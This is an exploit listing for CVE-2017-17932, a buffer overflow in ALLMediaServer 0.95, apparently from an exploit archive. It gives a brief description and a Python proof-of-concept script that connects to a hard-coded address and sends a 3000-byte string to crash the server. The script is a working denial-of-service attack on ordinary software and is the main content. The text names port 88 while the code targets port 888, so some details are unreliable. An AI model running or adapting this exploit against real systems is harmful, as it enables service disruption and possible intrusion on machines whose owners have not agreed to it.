ALLMediaServer 0.95 - Buffer Overflow Exploit

# Exploit Title: Buffer  overflow in ALLPlayer ALLMediaServer 0.95 and earlier
# CVE: CVE-2017-17932
# Date: 27-12-2017 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.allmediaserver.org/
# Category: webapps
# Attack Type: Remote
# Impact: Code execution and/or Denial of Service 
 
 
 
  
1. Description
 
A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.
 
    
2. Proof of Concept
 
  
 
#!/usr/bin/python
 
#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work. 
 
def main():
 
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
   s.connect(('192.168.205.131', 888))
 
   buffer = "A" * 3000
 
 
   s.send(buffer)
 
   s.close()
 
 
if __name__ == '__main__':
   import socket
 
   main()

#  0day.today [2018-01-03]  #